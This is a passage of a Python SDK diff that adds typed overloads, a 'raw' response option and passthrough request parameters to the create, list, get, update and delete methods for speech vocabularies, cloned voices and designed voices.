Optional[int] = None, + raw: Literal[False] = False, ) -> Vocabulary: - """Create a table; the result carries ``vocabulary_id``.""" - response = self._call( + ... + + @overload + def create( + self, + *, + target_model: str, + prefix: str, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + target_model: str, + prefix: str, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Vocabulary, "APIResponse"]: + """Create a table; the result carries ``vocabulary_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ + resp = self._call( "create_vocabulary", { "target_model": target_model, @@ -187,12 +280,19 @@ def create( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Vocabulary(**self._parse_response(response)), - response, + self._parse_model(Vocabulary, resp.http_response), + resp.http_response, ) + @overload def list( self, *, @@ -204,15 +304,66 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> VocabularyList: - """List tables, optionally narrowed to one ``prefix``.""" + ... + + @overload + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[VocabularyList, "APIResponse"]: + """List tables, optionally narrowed to one ``prefix``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = { "page_index": page_index, "page_size": page_size, } if prefix: fields["prefix"] = prefix - response = self._call( + resp = self._call( "list_vocabulary", fields, model=model, @@ -220,12 +371,19 @@ def list( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - VocabularyList(**self._parse_response(response)), - response, + self._parse_model(VocabularyList, resp.http_response), + resp.http_response, ) + @overload def get( self, vocabulary_id: str, @@ -235,10 +393,57 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Vocabulary: - """Fetch one table's contents (1.x ``query_vocabulary``).""" + ... + + @overload + def get( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Vocabulary, "APIResponse"]: + """Fetch one table's contents (1.x ``query_vocabulary``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(vocabulary_id, "vocabulary_id") - response = self._call( + resp = self._call( "query_vocabulary", {"vocabulary_id": vocabulary_id}, model=model, @@ -246,12 +451,19 @@ def get( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Vocabulary(**self._parse_response(response)), - response, + self._parse_model(Vocabulary, resp.http_response), + resp.http_response, ) + @overload def update( self, vocabulary_id: str, @@ -262,10 +474,59 @@ def update( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Replace one table's contents.""" + ... + + @overload + def update( + self, + vocabulary_id: str, + *, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def update( + self, + vocabulary_id: str, + *, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Replace one table's contents. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(vocabulary_id, "vocabulary_id") - response = self._call( + resp = self._call( "update_vocabulary", {"vocabulary_id": vocabulary_id, "vocabulary": vocabulary}, model=model, @@ -273,12 +534,19 @@ def update( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) + @overload def delete( self, vocabulary_id: str, @@ -288,10 +556,57 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one table.""" + ... + + @overload + def delete( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one table. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(vocabulary_id, "vocabulary_id") - response = self._call( + resp = self._call( "delete_vocabulary", {"vocabulary_id": vocabulary_id}, model=model, @@ -299,10 +614,16 @@ def delete( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) @@ -312,6 +633,7 @@ class Voices(_CustomizationBase): PATH = "/services/audio/tts/customization" DEFAULT_MODEL = "voice-enrollment" + @overload def create( self, *, @@ -327,8 +649,67 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Voice: - """Clone a voice from the audio at ``url``; carries ``voice_id``.""" + ... + + @overload + def create( + self, + *, + target_model: str, + prefix: str, + url: str, + language_hints: Optional[List[str]] = None, + max_prompt_audio_length: Optional[float] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + target_model: str, + prefix: str, + url: str, + language_hints: Optional[List[str]] = None, + max_prompt_audio_length: Optional[float] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Voice, "APIResponse"]: + """Clone a voice from the audio at ``url``; carries ``voice_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = dict(extra_input or {}) # Named arguments win over the ``extra_input=`` escape hatch. fields.update( @@ -338,7 +719,7 @@ def create( fields["language_hints"] = language_hints if max_prompt_audio_length is not None: fields["max_prompt_audio_length"] = max_prompt_audio_length - response = self._call( + resp = self._call( "create_voice", fields, model=model, @@ -347,12 +728,19 @@ def create( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Voice(**self._parse_response(response)), - response, + self._parse_model(Voice, resp.http_response), + resp.http_response, ) + @overload def list( self, *, @@ -364,15 +752,66 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> VoiceList: - """List cloned voices, optionally narrowed to one ``prefix``.""" + ... + + @overload + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[VoiceList, "APIResponse"]: + """List cloned voices, optionally narrowed to one ``prefix``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = { "page_index": page_index, "page_size": page_size, } if prefix: fields["prefix"] = prefix - response = self._call( + resp = self._call( "list_voice", fields, model=model, @@ -380,12 +819,19 @@ def list( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - VoiceList(**self._parse_response(response)), - response, + self._parse_model(VoiceList, resp.http_response), + resp.http_response, ) + @overload def get( self, voice_id: str, @@ -395,10 +841,57 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Voice: - """Fetch one voice's details (1.x ``query_voice``).""" + ... + + @overload + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Voice, "APIResponse"]: + """Fetch one voice's details (1.x ``query_voice``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "query_voice", {"voice_id": voice_id}, model=model, @@ -406,12 +899,19 @@ def get( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Voice(**self._parse_response(response)), - response, + self._parse_model(Voice, resp.http_response), + resp.http_response, ) + @overload def update( self, voice_id: str, @@ -422,10 +922,59 @@ def update( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Re-clone one voice from the audio at ``url``.""" + ... + + @overload + def update( + self, + voice_id: str, + *, + url: str, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def update( + self, + voice_id: str, + *, + url: str, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Re-clone one voice from the audio at ``url``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "update_voice", {"voice_id": voice_id, "url": url}, model=model, @@ -433,12 +982,19 @@ def update( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) + @overload def delete( self, voice_id: str, @@ -448,10 +1004,57 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one cloned voice.""" + ... + + @overload + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one cloned voice. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "delete_voice", {"voice_id": voice_id}, model=model, @@ -459,10 +1062,16 @@ def delete( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) @@ -478,6 +1087,7 @@ class VoiceDesign(_CustomizationBase): PATH = "/services/audio/tts/customization" DEFAULT_MODEL = "voice-enrollment" + @overload def create( self, *, @@ -493,7 +1103,59 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DesignedVoice: + ... + + @overload + def create( + self, + *, + target_model: str, + prefix: str, + voice_prompt: str, + preview_text: str, + language_hints: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + target_model: str, + prefix: str, + voice_prompt: str, + preview_text: str, + language_hints: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DesignedVoice, "APIResponse"]: """Design a voice from a text prompt; carries ``voice_id`` + preview. ``prefix`` becomes part of the generated id, @@ -501,6 +1163,12 @@ def create( ``language_hints`` is honoured, and it must match the language of ``preview_text``. The voice is unusable until its ``status`` leaves ``DEPLOYING``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. """ fields: Dict[str, Any] = dict(extra_input or {}) # Named arguments win over the ``extra_input=`` escape hatch. @@ -514,7 +1182,7 @@ def create( ) if language_hints is not None: fields["language_hints"] = language_hints - response = self._call( + resp = self._call( "create_voice", fields, model=model, @@ -523,12 +1191,19 @@ def create( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - DesignedVoice(**self._parse_response(response)), - response, + self._parse_model(DesignedVoice, resp.http_response), + resp.http_response, ) + @overload def list( self, *, @@ -540,15 +1215,66 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DesignedVoiceList: - """List voices, optionally narrowed to one ``prefix``.""" + ... + + @overload + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DesignedVoiceList, "APIResponse"]: + """List voices, optionally narrowed to one ``prefix``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = { "page_index": page_index, "page_size": page_size, } if prefix: fields["prefix"] = prefix - response = self._call( + resp = self._call( "list_voice", fields, model=model, @@ -556,12 +1282,19 @@ def list( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - DesignedVoiceList(**self._parse_response(response)), - response, + self._parse_model(DesignedVoiceList, resp.http_response), + resp.http_response, ) + @overload def get( self, voice_id: str, @@ -571,10 +1304,57 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DesignedVoice: - """Fetch one voice's details, including its review ``status``.""" + ... + + @overload + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DesignedVoice, "APIResponse"]: + """Fetch one voice's details, including its review ``status``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "query_voice", {"voice_id": voice_id}, model=model, @@ -582,12 +1362,19 @@ def get( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - DesignedVoice(**self._parse_response(response)), - response, + self._parse_model(DesignedVoice, resp.http_response), + resp.http_response, ) + @overload def delete( self, voice_id: str, @@ -597,10 +1384,57 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one designed voice, freeing its quota.""" + ... + + @overload + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one designed voice, freeing its quota. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "delete_voice", {"voice_id": voice_id}, model=model, @@ -608,8 +1442,14 @@ def delete( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + 